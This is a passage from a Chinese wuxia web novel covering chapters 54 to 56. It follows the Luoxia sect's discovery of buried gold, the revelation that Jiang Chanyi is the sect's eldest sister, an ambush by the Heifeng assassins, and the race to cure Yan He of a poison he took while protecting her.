然将青辉门上上下下翻了个遍都没有找到其他账本或者什么暗室。 账本不全,调查停滞不前。 这时,姜蝉衣猛地想起什么,道:“不是还塌了一处阁楼,那里面找过吗?” 关霄燕鹤对视一眼,几乎同时抬步往外走去,片刻后,几人神情复杂的立在废墟外。 塌成这样,能找到什么。 突然,又听一阵响声,关霄赶紧护着姜蝉衣燕鹤:“退后!” 一行人往后退了数步,等了良久不见再有动静,有一弟子疑惑道:“怎么又塌一回。” 一阵寂静后,不知何时提着刀杵在一旁的四师兄缓缓开口:“里面有暗室。” 几人看他一眼,还未来得及开口,他就已将刀插在地上,大步往废墟中走去。 关霄着急出声:“……四师兄,里面危险!” 回应他的只是四师兄冷淡的:“外头等着。” 姜蝉衣盯着那道高大宽阔的背影,这人话虽不多,但他往那里一站好像就能叫人安心。 眼睁睁看着人走进废墟,众弟子都犹豫不决的看向关霄。 按理,里面危险,不该让师兄一人涉险。 “都在外头等着。” 关霄:“你们进去,出了事,四师兄还得捞你们。” 众弟子:“……” 话糙理不糙。 众人在外头没等多久,便听身后一阵动静传来,未见其人先闻其声。 “人在哪,砍塌的楼在哪!” 姜蝉衣燕鹤循声望去,便见一个与关霄同样打扮的青年提着衣袍领着一行弟子浩浩荡荡拾阶而上。 青年满脸的怒气在看到眼前的废墟时凝固了一瞬,紧接着便像是怒气过甚之后咬牙切齿的阴阳怪气: “嚯!厉害啊,这旁边怎么还幸存一座楼呢,怎么不也一起砍了?!” “落霞门一整个山头还不够他练刀,跑这儿来发狗疯!” “他怎么不把自己埋进去!” 姜蝉衣眼神一扬,落霞门?是她想的那个落霞吗,怪不得她看他们的弟子顺眼,竟是跟师门同名。 姜蝉衣打量间,关霄已经带着弟子迎上去,拱手行礼:“五师兄。” 青年身后的弟子也给关霄道礼。 五师兄沈琳琅一眼看到塌了的楼后,眼里和脑子里再也容不下其他,瞪着关霄就是一通骂:“你脑子是不是有毛病,放着那么多师兄不叫,叫来个炸药桶!” “眼下惹了祸倒知道叫我来了,我告诉你,叫我也没用,这楼你们自己赔!” “天杀的,这么大一座楼啊,他说砍就砍,我看干脆给你二人拟一张卖身契,以后发出去做工抵债吧。” 关霄:“……五师兄。” “住嘴。” 沈琳琅正色打断他:“我不是你五师兄,以后你做我九师兄罢!” 一众弟子皆垂着头,除了关霄,无人敢言语,甚至个个屏气凝神,有的直接开始闭气。 五师兄发起火来方圆几里的生物死物都要挨骂,连呼吸都会成为被骂的理由。 姜蝉衣饶有兴致的盯着噼里啪啦如炸烟花一样的青年,暗道,他们这师门的人竟是一个比一个有趣。 “……五师兄,四师兄他不……” “他不是故意的是吗?” 沈琳琅指着废墟,皮笑肉不笑:“难道是这么大座楼你四师兄他小手指一戳它就塌了是吗,或者是清辉门让它讹人是吗?” 关霄:“……” “人呢,那孽障在哪呢!” 沈琳琅:“该不会跑路了吧!我告诉你们,他要是跑了你们在场的有一个算一个,全都给我卖到山下挣钱抵债!” “什么时候把债还清了,什么时候再回师门!” 落霞门众弟子包括关霄在内被训的大气也不敢出,姜蝉衣也知道这么严肃紧绷的气氛中不应该想笑,但她实在要憋不住了。 只能转过身低着头状似随意般用手抵着唇,努力忍着。 “四师兄没有跑。”关霄终于找到了空隙,像是生怕又被五师兄打断,语速极快道:“四师兄就在里头。” 沈琳琅面色一变,眼底的怒气渐渐被怀疑,错愕代替,他瞪着关霄,半晌才失声道:“你说什么,他被砸死了?” 关霄惊愕:“不不不是……” “不是说祸害活千年么?”沈琳琅怔愣的盯着废墟,低喃道:“他不是一身蛮力,怎竟就这么把自己埋里头了。” “五师兄你误会,唔……” 关霄话没说完就被踹了一脚腿,紧接着就是震耳的怒吼:“你们师兄都埋里头了你们还有脸杵在这里,还不赶紧进去找!” “挖地三尺也要把那祸害给我挖出来!落霞门弟子死也要给我死回落霞门去!” 关霄感觉耳膜都快要被震碎了,相比起来,腿上那点疼痛完全算不得什么。 他抬眸看见沈琳琅眼角的红意,心头不由一滞,五师兄骂人骂的最狠,但却也是最心疼同门的。 有哪个小师弟小师妹练功时受了伤,岔了气,五师兄知道了都必定会亲自去守着。 等人好了再将人骂的狗血淋头。 “五师兄误会了,四师兄没事……”关霄的话音将落,便见一阵尘土中,高大的人影徒手举着一个大箱子从废墟中走出来。 沈琳琅拧眉盯着,眉头越皱越深。 “诈尸了?” 关霄:“……” 四师兄蒋铄步伐稳健的走到几人跟前,将箱子放下:“金子,里面还有。” 说完就拔出刀站到一边去了,多的字是一个也不肯说。 关霄也顾不得误会了,忙打开箱子,果真见满满一箱子黄金。 他怔了怔,问:“四师兄,里面还有多少?” 蒋铄:“埋了,没法数,很多。” 姜蝉衣燕鹤对视一眼,心中皆感震撼,这么多的黄金,余昊从何处得来? 沈琳琅这才缓缓回过神来,看了眼黄金,看一眼废墟,再看一眼蒋铄。 他来的路上已经知道了。 余昊谋害沐盟主,被软禁沐府,得罪那个家伙,余昊这一生也就到头了。 所以…… 沈琳琅抹了抹眼角的湿润,欢喜道:“我们把清辉门买下来吧!不对,打下来。” 关霄:“……” “老四,快把这个箱子送回废墟埋起来。”沈琳琅朝蒋铄飞快招手:“你今夜潜进沐府把余昊毒哑,手也废了,就没人知道这里有黄金了,从此以后,这就是我们落霞门的了哈哈哈。” 关霄:“……” 姜蝉衣燕鹤:“……” 这是,黑吃黑? 关霄:“……五师兄,不合适。” “怎么不合适,这楼是我们四师兄砍的,黄金也是我们发现的,说明什么,说明它就该属于我们,况且这里又没有外人……” 沈琳琅目光飞快扫视,而后一怔,凌厉的落在姜蝉衣和燕鹤身上,质问:“他们是谁,怎么在这里?” 姜蝉衣笑意收不住,一时不好回头。 燕鹤淡淡迎上沈琳琅的视线,道:“游历至此,无名无派。” 沈琳琅目光一转,低头看一眼黄金,再看看燕鹤二人,心里立刻有了主意。 “我是落霞门五弟子沈琳琅,落霞门你们知道吧,江湖第一大门派,二位可有兴趣加入落霞门。” 外人加入落霞门,不就没有外人了。 五师兄的算盘珠子蹦出了十丈远。 燕鹤:“……” 半晌,他道:“君子爱财取之有道。” 沈琳琅:“有道啊。” “余昊作恶多端谋害盟主,我落霞门惩奸除恶,凭实力光明正大占领青辉门,符合江湖规矩啊,就是盟主来了,也说不出个错来,谁若也想要青辉门,尽管来打就是。” “况且我也不是君子。” 江湖有江湖的规矩,燕鹤并不想多管。 只要这些黄金的来历不违反律法,不危及江山社稷。 沈琳琅见他不开口,便下令:“落霞门弟子听令,给我守好各个出入口,除落霞门弟子外,任何人不得进出!” 姜蝉衣笑意渐止:“你在威胁我们?” 人再有趣,威胁她,那就不成。 “没有啊。” 沈琳琅万分真诚道:“如果你们不想加入落霞门,也可以把这一箱子带走,今天就当我们没见过。” 姜蝉衣整理好神情,转身看向沈琳琅:“我有师门,也不要黄金。” 沈琳琅听得这话,笑容愈发灿烂甚至带着几分慈和:“姑娘人美心善,那我们就当……” 抬眸猝不及防撞见那张清美的脸庞,沈琳琅笑容僵在脸上,话音也随之顿住。 他十三岁进师门,这张脸他看了很多年,内堂的画像每年一换,从金钗之年到碧玉年华,虽未蒙面,他却是看着她一年年长大。 他们的大师姐,姜蝉衣! 第54章 第 54 章 还得是大师姐 沈琳琅曾经问过二师兄大师姐在何处, 二师兄只说待时机成熟自会相见。 但凡落霞门中弟子,无不好奇那位神秘的大师姐,门中所有弟子虽未曾见过大师姐, 但却都知晓没有大师姐,就没有落霞门。 所有弟子加入落霞门第一天, 就会被告知整个门派皆是由他们的大师姐所供养,若有不敬者,会被逐出门派。 他掌管门中账房, 每年都会将师父带回来的一大笔钱财清点入库, 师父说, 那都是大师姐所捐赠。 足够门中上下一年开销。 很多弟子都在私下讨论过他们的大师姐,有人说是富家小姐, 有人说是江湖女侠,还有人说是下凡来救世的财神娘子。 长久以往,不少弟子都将大师姐当做财神来拜。 而今当他亲眼见到大师姐, 心情激动复杂难平,与他想象中不同,可多看几眼又觉得好像大师姐该是这样。 美丽,大方,善良, 洒脱,符合他想象中对她所有的美好词汇。 沈琳琅的反应过于异常, 目光也太过灼热, 眼底甚至又涌现起带着水雾的红晕。 让所有弟子皆感错愕。 姜蝉衣毫不闪躲的迎上他的视线,虽然对方的反应让她很意外,但那种眼神并不叫人讨厌,反而让她感受到了浓厚的善意。 也正因此, 燕鹤并没有动作。 “五师兄……” 关霄虽不明白缘由,但这么盯着人家姑娘看很是失礼,他不由上前一步出声提醒,只是才开口就被沈琳琅一把推开: “姑娘,可是姓姜?” 他确认自己没有认错人,可他方才已经自报师门,大师姐却像不认识他们,以防万一,他要更加确认。 关霄一愣,五师兄一到这里就是对他们劈头盖脸一通训斥,他根本没机会同五师兄介绍,难不成五师兄认得姜姑娘? 姜蝉衣也很意外:“你怎知?” 沈琳琅闻言激动非常,忍不住上前一步,可不待开口,四周便隐有杀气涌动。 姜蝉衣目光一沉,手按在剑柄上:“小心!” 在她出声的同时,四师兄蒋铄扛着刀护在众弟子身前。 沈琳琅一怔,茫然的看了眼几人。 “怎么了?” “五十人以上。” 燕鹤眼神微沉:“皆是高手。” 落霞门前后过来的弟子也有五十,但除了那位四师兄和关霄,其他人恐无法与之抗衡。 姜蝉衣自然也明白,杀气越来越近,显然来者不善,她惜命,不会轻易将自己置于险境,也更不会逞强,遂朝关霄道:“沐府离此地最近,速求救。” 关霄见识过二人的武功,连他们都如临大敌恐怕会是一场恶战,但还是下意识看了眼四师兄,见对方点头,他才拿出随身携带的信号弹拉响。 信号弹在空中炸开的一瞬,一应黑衣人从天而降,乌泱泱占了一半石台。 沈琳琅最快认出他们衣裳上的图徽,皱眉道:“黑酆门!” 他虽不出山门,却不代表对江湖一无所知。 姜蝉衣燕鹤也认了出来,二人对视一眼,皆看到对方眼底的凝重。 他们与黑酆门的杀手交过手,深知对方是多么难缠的角色。 且一次来这么多人,若打起来,只凭他们几人,可以说没有丁点胜算。 沈琳琅武功不济,但嘴皮子利索,这种时候自是他上前交涉,他越过几人站在最前方,随后想了想又退了一步与蒋铄并肩。 保证对方动手时蒋铄来得及救他。 “你们来此作甚?” 领头的是一个带着鬼面面具的男子,嗓音低沉,听不出具体年纪。 “你们就是落霞门的弟子?” 沈琳琅:“正是。” 黑酆门在江湖中的名声不好,约等于武林公敌,寻常时候不会主动出现在任何门派,如今突然来这里……想到废墟底下埋着的黄金,他心中戒备顿生,难道这么快就走漏了风声,他们也是冲着黄金来的? “你们来此作甚?” 面露男子取出一纸地契,展开:“来此收地,诸位的事可办完了?” “若办完了,还请移步。” 众人闻言皆惊。 黑酆门来青辉门收什么地?! 沈琳琅脸色已然难看至极,果然是来抢黄金的! “清辉门在一月前将此地卖给了黑酆门,地契在此,诸位可有疑问?” 面露男子见众人不出声,便又道。 沈琳琅沉默良久,低声问蒋铄:“打的赢吗?” 蒋铄惜字如金:“师弟师妹们不行。” 落霞门弟子:“……” 虽然话糙理不糙,但稍微委婉点呢? 沈琳琅便明白了。 师弟师妹们在这些杀手面前不是对手,若打起来可能会丧命。 黄金固然重要,但弟子的命不是能拿金钱衡量的。 眼下先退是最正确的选择。 师门门规,打不赢就跑。 关霄这时低声道:“师兄,还有账本没查到,若这里落入黑酆门的手中,无法惩治余昊。” 沈琳琅眼神一紧。 惩治余昊和弟子的命比起来什么也不算,但,黑酆门来的太巧了! “你们想收地可以,但此间事未处理完毕,还请稍等。”心思急转后,沈琳琅开口道。 面露男子沉默片刻,道:“此地已归属于黑酆门,请诸位立即撤离。” 沈琳琅袖中的手缓缓攥紧。 他方才不过是试探,眼下看来,余昊恐怕当真是和黑酆门勾结了! 关霄等人也立刻明白了,沉声道:“五师兄,不能退!” 黑酆门是武林公敌,也是武林之耻,青辉门与之勾结,当诛,若连落霞门都退了,只会更增长黑酆门的气焰,消灭武林各门派的气势,动摇更多人的决心。 一旦黑酆门笼络更多门派,将是武林大患! 且落霞门惩奸除恶的门规,在识时务者为俊杰之前。 “此地地形,易守难攻。” 姜蝉衣看向对方,道:“而且,他们根本没打算放我们走。” 沈琳琅一愣:“何意?” 燕鹤:“底下还有埋伏。” 沈琳琅咬咬牙,狠狠瞪向面具男子:“你们想做什么?!” 面具男子往姜蝉衣的地方看了眼,而后冷笑:“被识破了啊。” “如此,那就只能请诸位都留在这里了,落霞门前十的三位弟子都死在这里,足够扬我黑酆门威名。” 沈琳琅的心彻底沉了下去。 他果然没打算放过他们,先前也不过是想将他们骗下去,占领主要地势。 沈琳琅闭了闭眼,在心里将至今还不见人影的晏青禾骂了个狗血淋头。 姜蝉衣靠近燕鹤:“你的人呢?” 五十人已经没有胜算,底下还有埋伏,黑酆门这是打定主意将他们都留在这里。 燕鹤取出方才离开时金酒给的信号弹,迅速拉响后,道:“他们就在山下,但底下有埋伏,恐怕一时半会儿上不来。” 姜蝉衣眉头紧紧拧着。 早知道说什么也将云广白带上了! 然就在此时,东南方向也接连炸开几道信号弹,燕鹤见此心中一沉:“沐府也出事了!” 姜蝉衣紧紧抿着唇。 若无援兵,他们怕都是要命丧于此。 这时,听面具男子好整以暇道:“诸位可还有援兵,不如一并请了?” 沈琳琅想拖延时间:“你们是去沐府救余昊?” 面具男子嗤道:“猜对了一半,我们是奔余昊去的,却不是为了救他。” 关霄立刻明白了:“杀人灭口?” 众人闻言不由心惊。 若是黑酆门杀余昊灭口,那么便证明余昊知道的东西更多,这里面恐怕还有更大的他们不曾窥见的阴谋。 “这位师弟猜的不错,可惜已经晚了。”面具男子缓缓道:“动手吧!” 姜蝉衣知道这是一场前所未有的恶战,突然想起晏青禾曾经给她的信号弹,在动手之前,她快速摸出来放了。 管它有没有用,死马当活马医吧。 就算师父师兄赶不及,来收个尸也是好的。 然而当信号弹炸开成漂亮的霞彩,落霞门中所有弟子都惊疑不定的看向姜蝉衣。 这是门中一级求救令,落霞令! 落霞令一出,门中弟子必全力营救,且不仅面对落霞门,更是面对所有江湖门派的悬赏求救令。 不论是谁,哪个门派,若救下持落霞令者,皆赏黄金万两。 可他们只知道它的存在,从未见哪位师兄师姐携带过,他们也只见过画纸上的落霞令! 它怎么会出现在这位姑娘手上。 但战斗已经开始,劲敌当前,他们没有时间去询问,且不管落霞令怎么会出现在这里,它出现了,就代表着他们有救了! 沈琳琅看见落霞令,眼底的沉重顷刻间消散,还得是大师姐,他们不会死了! 他自知这种时候只会拖后腿,赶紧找掩体躲了起来,不忘朝蒋铄喊道:“保护好姜姑娘。” “所有弟子听令,不许拼命,拖延时间,等援兵!” 大师姐看起来根本不认识他们,而师父二师兄三师姐也对此闭口不谈,他不知道这里头还有什么秘密,且眼下不是叫破大师姐身份的时候。 而另一边,姜蝉衣间隙间看见了关霄的招式,不由怔愣一瞬。 他怎么会二师弟的招式? 而随后,她又见好几个落霞门的弟子招式中都有二师弟的影子。 师父说她和二师弟体质不同,所教的武功招式便也不同,但她与二师弟相互喂招多年,对他的招式很熟悉,她绝不会看错。 “姜姑娘,小心!” 高手对战,稍有差池便有性命之危,燕鹤替她挡下一击,回头:“没事吧?” 姜蝉衣快速回神:“无碍,多谢。” 一人会是巧合,这么多人都会就定不是了! 二师弟这些年到底在外头做什么? 他与落霞门有什么关系? 不过眼下实在不是想这些的时候,姜蝉衣按下心思,一心迎战。 姜蝉衣燕鹤在沐府并肩作战过,此时再联手也有了些默契,二人持剑背对背而战。 二人配合得当,还能时不时救一救旁边的小弟子。 面具男子隔着人群眼神不善地盯着姜蝉衣。 关于方才的落霞令,落霞门那位二师兄晏青禾曾在江湖广而告之,他自然也有所了解。 可她是谁!怎么会有落霞令! 难道她也是落霞门的人? 此令一出,方圆几里的武林高手恐怕都会蜂拥而至! 万两黄金,谁不想要! 不过顷刻间,面具男子已经感受到了几股强大的气息正在靠近,面具之后的脸色顿时一片阴沉。 他们的计划本来天衣无缝,偏偏这个时候冒出来个落霞令! 面具男子拔出匕首,阴冷的目光锁定姜蝉衣。 即便今日计划失败,他也要送罪魁祸首下地狱! 第55章 第 55 章 务必寸步不离 “小心!” 姜蝉衣刚救下一个落霞门的小弟子, 便听燕鹤急声喝道,她感知到杀气反手一剑刺出,堪堪挡住黑酆门杀手的一击, 可同时朝她攻来的还有面具男子,与此同时, 几支袖箭亦朝她面门而来,被如此围困之下竟很难全部躲开。 而就在千钧一发之时,燕鹤飞速横剑挡住几支袖箭, 揽着姜蝉衣飞身后退, 姜蝉衣毫发无伤, 匕首却划破了他的手臂。 “燕公子!” 姜蝉衣盯着那道刺眼的血痕,眼中杀气翻滚。 “无碍。” 燕鹤低眸看了眼, 继续迎敌。 姜蝉衣抬眸,目光死死钉在面具男子身上,同样她也感受到了对方极其强烈的杀意, 虽不明白他的杀意从何而来,但现在他伤了燕鹤,她必报此仇! 姜蝉衣足尖一点,凌空朝面具男子跃去,这时燕鹤突觉心头一阵刺痛, 他想起什么看了眼手臂上的伤,立即扬声道:“姜姑娘小心, 他兵器上有毒!” 姜蝉衣闻言一顿, 她百毒不侵,自然不怕,可她想起燕鹤手臂上的伤,心绪顿时难宁, 只想尽快解决眼前的劲敌,招式又快又狠。 面具男子内力不如她,十几招后便落了下风,而这时已有数道人影朝山上掠来,接连有人自报家门前来助阵,姜蝉衣大喜,用尽全力朝面具男子重重一击,面具男子躲避不及,被一剑直穿过胸膛,姜蝉衣正要补一剑时,黑酆门的人从她剑下将人救走了。 面具男子看向越来越多的高手,心知今日已无法成事,忍着剧痛下令:“撤!” 黑酆门还活着的人在眨眼间尽数撤离。 “叮!” “公子!” 身后突然传来惊呼,姜蝉衣飞快回头,却见燕鹤吐出一口鲜血,手中的剑已落地,离他最近的关霄伸手将他接住,着急的呼喊着:“公子,你怎么了?” 姜蝉衣眼睁睁看着燕鹤倒在关霄怀里,头脑空白了一瞬,而后才反应过来飞奔过去,急忙从关霄手中接过燕鹤:“燕公子!” 燕鹤见她神情慌张,有心想安抚几句,可一张口就是鲜血溢出,一时无法说出一个字。 姜蝉衣见此泪水顿时涌出,颤抖着手搭上燕鹤的脉搏,可师父针灸之术天下无双,偏偏她连他中了什么毒都诊不出来。 怀里的人口中鲜血不断,她下意识想伸手去捂住,血顺着她的手染红了衣裙。 自认识他以来,她从未见他如此狼狈过,他永远都是游刃有余,矜贵温雅。 她也只爱看他出尘不染,高高在上,半点见不得他如此模样。 “燕公子……”她捧着他的脸手不住的颤抖着,恐慌铺天盖地涌上心头,泣不成声:“燕公子,燕鹤,你坚持住,我带你去找大夫。” 关霄忙唤来会医术的弟子,那弟子诊脉之后,迅速出手封住燕鹤的穴位,神情凝重道:“是灼阳之毒,我解不了,得请三师姐!” 姜蝉衣急声道:“她在哪里,快去请她!” 沈琳琅这时已走过来,恰听见灼阳之毒,面色微变,沉眸看着燕鹤,道:“中灼阳之毒只有三日的时间,三师姐看见落霞令一定会来此,关霄,速带人去接应三师姐!” 听到只有三日时间,姜蝉衣如被雷击,她下意识抱紧已经昏迷的燕鹤,低喃道:“若是她三日来不了会如何?” 沈琳琅抿着唇没有吭声。 三日来不了,神仙难救。 姜蝉衣脸色又白了几分,泪水不断的往下落:“不行,不能这么等。” “我要带他去找师父,三师妹……” 可话一出口她又顿住。 师父和师妹在她之前下山,她根本不知道去哪里找他们。 况且只有三日的时间。 怎么办,她该怎么办才能救他。 “没有别人了吗,沐府呢,沐盟主不是毒术无双,他可能解?” 沈琳琅面色沉凝的摇头:“沐盟主确实善毒,但灼阳之毒过于刁钻,沐盟主解不了,除了三师姐和两位神医,恐怕无人能解。” 至少在他们所知道的医者中,无人可解。 “神医在何处?” 姜蝉衣红着眼盯着他问道。 沈琳琅却又摇头:“两位神医行踪不定,无人知晓。” 那一瞬,姜蝉衣被绝望包裹。 她缓缓低头怔怔的看着那张已经失去血色的容颜,原本那把匕首是朝她来的,是他替她挡了。 原本该死的人是她。 不,他不会死! 她一定要救他! 而就在这一片死寂中,一道熟悉的声音传来:“发生了什么?” 众人闻声纷纷回头,看见来人,以沈琳琅为首的落霞门弟子齐齐拱手行礼:“二师兄。” 姜蝉衣听见熟悉的声音抬起头,目光穿过人群落在晏青禾身上。 她此时满心都是要救燕鹤,完全忽略了落霞门弟子对他的称呼,也没有心思去想他为何出现在这里。 “二师弟。” 看着那道身影走近,姜蝉衣眼底微微发亮,像是看见了亲人一般,委屈和充满希冀的望着晏青禾,带着哭腔道:“二师弟,救他。” 除了沈琳琅,落霞门的弟子听她如此唤宴青禾,全都愣住了。 她唤他们二师兄什么?! 宴青禾远远就看到姜蝉衣浑身是血的模样,她的手上衣裳上尽数被鲜血染红,紧紧抱着怀里的人跌坐在地上,满脸泪水,前所未有的狼狈。 他神情一紧,快步穿过人群走到姜蝉衣跟前:“大师姐。” 他从没见过姜蝉衣这般模样,便是每年两月针灸最难熬的时候,她也没有这样哭过。 宴青禾心口一疼,蹲在她身前,去看被她抱在怀里的人。 沈琳琅及时道:“二师兄,这位公子中了灼阳之毒,我已经让关霄去接应三师姐了。” 宴青禾这才发现姜蝉衣身上大半的血都来自她怀里的人,晏青禾沉默片刻伸出手,可人却被姜蝉衣死死护着,他只得放低声音道:“大师姐,将他给我,我会想办法救他。” “当真?” 晏青禾点头:“当真。” “他眼下中毒不深,需尽快送往沐府,虽然沐盟主解不了此毒,但在中毒之处能够暂时压制毒性,多争取些时间。” 姜蝉衣闻言这才忙松开手。 宴青禾将燕鹤抱起来,边走边快速吩咐道:“你们留在这里,老五,登记今日援手的朋友,赏金如数奉上。” 众弟子应下后,沈琳琅连忙上前扶起姜蝉衣:“大师姐。” 他唤这一声,犹如平地一声雷,炸的所有落霞门弟子瞠目结舌。 大师姐,什么大师姐,他们只有一位大师姐,他怎么能随意认大师姐?! 不对,方才二师兄也唤她大师姐了,难道是他们想的那个大师姐! 蒋烁面上也难得有了一丝其他神情。 姜蝉衣牵挂着燕鹤,心头纵有万千疑惑,此时也没心思去问,宴青禾走的极快,姜蝉衣小跑着才能追上去。 此时此刻,她的一颗心全系在晏青禾怀里的人身上。 沈琳琅被所有落霞门弟子紧紧盯着,待宴青禾姜蝉衣下了台阶,才道:“回头再与你们解释,总之,姜姑娘就是我们那位神秘的大师姐。” “诸位侠客,还请随我去登记。” 他也不管他这话引起了多大的轰动,只客气的带着前来助阵的高手前去登记造册。 金酒等人此时才脱困追上来,一眼便见晏青禾手中昏迷不醒的主子,纷纷大惊失色疾步跨上台阶迎上去:“公子!这是怎么回事!” 若非姜蝉衣在侧,金酒只怕立刻会出手抢人。 时间不等人,宴青禾脚步未停,姜蝉衣怕金酒误会急忙解释:“金酒,这是我师弟,燕公子中了毒,需尽快送去沐府请沐盟主压制毒性。” 金酒按下抢人的冲动,听出了什么,失声道:“压制毒性?” 那就是说沐盟主解不了殿下的毒! 姜蝉衣艰难点头:“灼阳之毒,只有三日时间,医者已在来的路上,眼下需要压制毒性,尽可能等到医者前来。” 金酒顿觉眼前一黑,本就受了伤,情急之下吐出一口血,姜蝉衣连忙将他扶住。 金酒抬手抹了血,神色森冷的盯着晏青禾的背影,如今他们都受了伤,眼下姜姑娘的师弟能更快的将殿下送到沐府。 有沐公子在,一定会想办法护住殿下。 至于姜姑娘口中的医者,他不能将希望放在此人身上,他得立刻去找师娘! “是谁给公子下的毒。” 姜蝉衣面色一白,低声道:“黑酆门的人,他为了我挡了一刀,刀上有毒。” 金酒一怔,深深地看了眼姜蝉衣,良久后,才沉声道:“姜姑娘,公子无事便罢,若有事,必要血债血偿。” 他没说让谁血债血偿,但姜蝉衣心里清楚,这一刻,他恨她。 她自己也恨。 她宁愿中毒的人是她。 她百毒不侵,可那时都不知道那匕首上有毒! 金酒言罢便急急往山下而去,他吩咐几人跟着晏青禾,带着其他人去寻神医沐笙,也就是他的师娘。 至于沐公子那里,他若知道师娘的消息,必然也会第一时间去信。 宴青禾听见了金酒和姜蝉衣的对话,知道人是为了救大师姐中毒的后,他便更加清楚,他绝不能死! 他径直朝那匹踏雪乌骓走去,拴在这里的马只有它速度是最快的。 踏雪乌骓寻常并不喜他人靠近,眼下大约是感应到了主人的危险,竟也没有将宴青禾阿甩下去的意思,嘶鸣一声后便飞快窜了出去。 姜蝉衣随后翻身上马,紧紧追上。 姜蝉衣赶到沐府时,沐玄机已经为燕鹤压制住了毒素,他知道燕鹤是如何中的毒后,抬头冷声道:“晏青禾,若这个人出了事,黑酆门也好,落霞门也罢,怕是都要陪葬。” 晏青禾心中一紧:“他是谁?” 沐玄机没有回答他,只道:“我最多只能拖延六日,你务必要保证你的三师妹能在六日内赶到沐府。” 母亲和师公如今远在边城,六日内赶不回来,如今能救殿下的,只有白安渝。 “今日断了黑酆门的大计,他们定会怀恨在心,一定会阻止白安渝到沐府。” 云广白刚领着姜蝉衣进来就听见这话,他目光一动,当即就道:“我去接应。” 姜蝉衣指尖紧紧扣在门上。 六日,她一定要将师妹接来。 姜蝉衣正要转身离开同去,就被晏青禾叫住:“大师姐,你伤势不轻,留在这里,我去接应。” 沐玄机看了眼姜蝉衣,无声一叹,真是作孽。 “黑酆门肯定还会来沐府,我要布防,这几日就请姜姑娘贴身保护好燕公子。” “以防黑酆门的人偷袭,务必寸步不离。” 第56章 第 56 章 你一定要醒过来 “这是你家夫人的方子, 拿回去煎服十日即可。”白安渝写好药方,递给婆子。 婆子接过来,快速打量她一眼, 笑着道:“幸亏白姑娘也来了这里,否则此次夫人疾复发, 还不知要如何。” 白安渝淡笑:“城中有不少名医,夫人自能逢凶化吉。” 婆子掏出一锭银子递过去,客气道:“还是白姑娘医术无双, 我家夫人就听白姑娘的方子。” 白安渝收好银子, 起身颔首道:“若无其他事, 我便先告辞了。” 婆子忙道:“不若姑娘多住两日,明日再劳烦姑娘为我家夫人诊诊脉。” 白安渝轻轻皱眉, 正要先回绝,就又听婆子道:“姑娘放心,我们每日皆会付给姑娘诊金。” 白安渝犹豫片刻, 才欲松口:“如此……” 就在此时,天边突然炸开一道霞彩,白安渝眼神微变,而后声音平静道:“我已替夫人诊过脉,服用此方之后必然无碍, 我还有要事,就不多留了。” “告辞。” 白安渝说罢便折身离去, 婆子见她去意已决也无法, 赶紧唤人相送。 白姑娘年纪虽轻,医术却极其了得,夫人的病不知看了多少大夫都无用,若不是白姑娘, 还不知要遭多少罪。 即便人性情再冷淡,她也万不能将人得罪了。 白安渝出了府邸,径直去马肆买了匹快马立刻出城,往霞彩炸开的方向而去。 落霞令出,大师姐有难。 白安渝一路马不停蹄,不敢有丝毫耽搁,中间不知换了多少匹马,用了近五日才赶到山脚下。 她只大约知道是沐府附近,落霞令一散,她无法分辨大师姐具体在何处。 正在岔路口徘徊时,一行弟子迎面而来:“三师姐!” “驾。”白安渝认出来人,面色略沉,到了几人跟前她喝停马:“你们怎么在此?” 来者正是关霄一行人,见到白安渝便有弟子拉响了信号,他们不知道师姐会从哪个方向来,便在几个岔路口都守了人。 关霄回道:“三师姐,有一位公子中了灼阳之毒,请三师姐前往沐府救人。” 白安渝一愣:“公子?” “大师姐不在此?” 关霄几人闻言皆是茫然:“什么大师姐?” 几人在晏青禾到之前就下了山,还不知道他们走后发生了什么。 “先去沐府。”白安渝沉默片刻,边行边问:“那位公子姓甚名谁,可有何人随行?” 关霄跟上,回道:“姓燕,有一位姜姑娘随行,此次黑酆门偷袭,幸亏二人出手相助,否则后果不堪设想。” 关霄简单将清辉门发生的事说了一遍。 白安渝从他说中毒的人姓燕后就大致明白了,没想到大师姐今年下山竟又遇见了他。 一行人迅速往沐府而去,可才踏入第一片林间,关霄便察觉到不对,他抽出剑:“保护三师姐!” 白安渝在医术方面天赋过人,武功却要弱上许多,对付寻常的歹徒尚可,对上在刀尖上讨生活的完全没有招架之力。 好在此时其他弟子在看到信号后已经追了上来,自成方阵将白安渝护在中间。 与此同时,四周涌现十来个黑衣人,关霄等人与他们交手不久,立刻就认了出来:“是黑酆门的人!” “你们护着三师姐先走!” 关霄心下一沉,吩咐所有弟子拉响信号弹后,迅速点了几个弟子先行:“其他人随我留下断后。” “驾!” 白安渝狠狠甩下马鞭,这种时候也不必说什么同生死共进退的无用之言,有人逃出去,才能搬救兵。 此地离沐府仅半座山。 身后的打斗声越来越远,可前方还有埋伏,护着白安渝的几个弟子互相对视一眼,其中一人道:“黑酆门恐怕是在阻止三师姐救人,三师姐,不要回头,走!” 白安渝咬咬牙,继续往前疾行。 风刮过,眼睛隐隐泛起红晕。 就在这时,迎面有马蹄声响起,白安渝在一片朦胧中看见最前方那道熟悉的身影,她心中一定,喊道:“二师兄,快去救他们!” 晏青禾听出她声音中的沙哑,往前方看了眼,另一道声音传来:“你去吧,我护白姑娘上山。” “十个人跟我走,其余人随云公子保护三师妹。”两匹马飞快擦肩而过,师兄妹来不及寒暄,晏青禾只留下一句:“小心。” 云广白紧跟在晏青禾身后,路过白安渝身边时他偏头朝她看去,正好对上她看过来的视线。 只一瞬便分离。 “吁!” 云广白拉紧缰绳,快速掉头追上白安渝,为方便护她,落后她一步之地。 白安渝视线逐渐恢复清明,偏头瞥了眼右边的少年,少年一手拽缰绳,一手持刀,凌厉的眼神中满是防备和警惕。 方才的恐慌突然就这么散了去。 二师兄来了,师弟们就不会有事了。 “云公子怎在此?” 云广白答道:“我与姜姑娘一起来沐府看比武招亲,还有燕鹤,徐青天,你都见过的。” 没想到热闹没看成,还差点把命丢在那里。 “你受伤了?” 白安渝道。 “嗯,黑酆门的人偷袭沐府,想杀余昊灭口。”云广白简单解释了几句,随后道:“白姑娘可能解灼阳之毒?” 白安渝:“能。” 云广白提着的心终于落下。 “我一定会护白姑娘平安到沐府。” _ 已经第五日了。 姜蝉衣坐在床边动作轻柔的给燕鹤擦手,眼里尽是担忧。 这五日除了如厕,她不敢离开他片刻,吃住都在这屋里,她生怕她一离开,他就再也醒不过来。 她曾无数次后悔,不该在医术上懒惰,该跟师父好好学,如今也不至于只能在此干等。 这种无法将命运握在自己手里的感觉,糟糕透了。 